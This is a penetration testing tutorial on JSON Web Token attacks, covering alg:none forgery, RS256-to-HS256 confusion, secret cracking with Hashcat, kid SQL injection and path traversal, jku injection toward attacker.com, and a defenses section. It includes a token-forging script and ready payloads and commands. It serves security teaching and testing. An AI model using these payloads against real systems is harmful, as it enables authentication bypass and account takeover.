JSON Web Tokens (JWTs) are the backbone of authentication in modern web applications and APIs. They encode user claims — identity, roles, permissions — in a signed, base64-encoded format that servers trust without querying a database. When implemented correctly, JWTs are secure. When implemented poorly, they become one of the most exploitable authentication mechanisms in existence.
This guide covers the structure of JWTs, the most common attack classes, and how to exploit them in a penetration testing context.
JWT Structure
A JWT consists of three base64url-encoded parts separated by dots:
header.payload.signature
Example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Decoded:
Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload:
{
"sub": "1234567890",
"name": "John Doe",
"role": "user",
"iat": 1516239022
}
Signature: HMAC-SHA256 of the header and payload using the server’s secret key.
- jwt.io — browser-based JWT decoder and debugger
- jwt_tool — Python CLI for JWT attacks:
pip3 install jwt_tool
- Burp Suite JWT Editor extension — integrate JWT attacks into your proxy workflow
- CyberChef — decode and manipulate JWTs without tools
Install jwt_tool:
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt
Attack 1: The alg: none Vulnerability
Some JWT libraries accept none as a valid algorithm, meaning no signature is required. An attacker can modify the payload and remove the signature entirely.
Exploit:
- Decode the JWT (split on
., base64url-decode each part)
- Modify the header to set
"alg": "none"
- Modify the payload (e.g., change
"role": "user" to "role": "admin")
- Re-encode both parts and append an empty signature
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234", "name": "John Doe", "role": "admin", "iat": 1516239022}
def b64url_encode(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
token = f"{b64url_encode(header)}.{b64url_encode(payload)}."
print(token)
With jwt_tool:
python3 jwt_tool.py <token> -X a
Attack 2: Algorithm Confusion (RS256 → HS256)
This attack targets applications that support both asymmetric (RS256) and symmetric (HS256) algorithms. The attacker tricks the server into verifying an RS256 token using the server’s public key as an HMAC secret.
How it works:
- The server uses RS256 with a private key to sign JWTs
- The public key is accessible (often at
/.well-known/jwks.json)
- The attacker crafts a new token with
"alg": "HS256" and signs it using the public key as the HMAC secret
- The server sees
alg: HS256, uses the public key (which it knows!) to verify — and the signature matches
Exploit with jwt_tool:
# Fetch the public key
curl https://target.com/.well-known/jwks.json
# Convert JWK to PEM
python3 jwt_tool.py <token> -X k -pk public_key.pem
# Or use the confusion attack directly
python3 jwt_tool.py <token> -X k -pk public_key.pem -T
Attack 3: Weak Secret Brute-Forcing
HS256-signed JWTs can be cracked offline if the secret is weak. Hashcat and jwt_tool both support this.
With Hashcat:
# JWT mode
hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
The full JWT (all three parts) goes in the hash file.
With jwt_tool:
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
Once cracked, sign your modified payload with the discovered secret:
python3 jwt_tool.py <token> -T -S hs256 -p "discovered_secret"
The kid (Key ID) header tells the server which key to use for verification. If the server uses the kid value in a database query or file path lookup, it may be vulnerable to injection.
SQL Injection via kid
If the kid is used in a query like SELECT key FROM keys WHERE kid = '<kid_value>', inject:
{
"alg": "HS256",
"kid": "' UNION SELECT 'mysecret' -- -",
"typ": "JWT"
}
Then sign the token with mysecret as the HMAC key.
Path Traversal via kid
If kid is used as a file path to load the key:
{
"alg": "HS256",
"kid": "../../dev/null",
"typ": "JWT"
}
Sign the token with an empty string as the secret (the content of /dev/null).
Attack 5: jku and x5u Header Injection
The jku (JWK Set URL) header points to a URL where the server fetches the public key. If not validated, an attacker can point this to a controlled server:
- Generate an RSA key pair
- Host the public key as a JWKS endpoint on your server
- Craft a JWT with
"jku": "https://attacker.com/jwks.json"
- Sign the token with your private key
- The server fetches your JWKS and verifies against your public key — success
With jwt_tool:
python3 jwt_tool.py <token> -X s
# Starts an embedded JWKS server and injects the jku header
Attack 6: Claim Manipulation (No Verification Bug)
Some applications simply decode the JWT without verifying the signature — they trust whatever the token contains. Test this by:
- Decoding the JWT
- Modifying claims (e.g.,
"admin": false → "admin": true, "role": "user" → "role": "admin")
- Re-encoding with any signature (or no signature)
- Submitting the modified token
If the application accepts it, there is no signature verification.
Testing JWTs in Burp Suite
The JWT Editor Burp extension (available in the BApp store) integrates JWT testing directly into the proxy:
- Intercept a request with a JWT
- Go to the JSON Web Token tab in the message editor
- Modify claims directly
- Use the Attack menu for automated
none algorithm and algorithm confusion testing
Checklist for JWT Pentesting
| Test | Tool | What to Look For |
|---|
alg: none | jwt_tool -X a | Accepts unsigned tokens |
| Algorithm confusion | jwt_tool -X k | RS256 signed with public key |
| Weak secret | Hashcat mode 16500 | Secret in wordlist |
kid injection | Manual | SQL/path traversal |
jku injection | jwt_tool -X s | Fetches external JWK |
| No verification | Manual | Modified claims accepted |
Defenses
- Always verify signatures server-side before trusting any claim
- Pin the algorithm in code — never accept
none; only accept the algorithm your application uses
- Validate
jku/x5u against an allowlist of trusted URLs
- Sanitize
kid values — treat them like user input, not trusted identifiers
- Use strong secrets for HS256 — minimum 256-bit random secrets
- Prefer RS256 or ES256 over HS256 for better key management
- Set short expiration times (
exp claim) to limit token validity
Summary
JWTs are a powerful authentication mechanism that become dangerous when developers trust the token’s own headers to determine how to verify it. The alg: none, algorithm confusion, and kid injection attacks all exploit this fundamental design flaw. Test every JWT-based application for these vulnerabilities and verify that signature validation is rigidly enforced regardless of what the token header claims.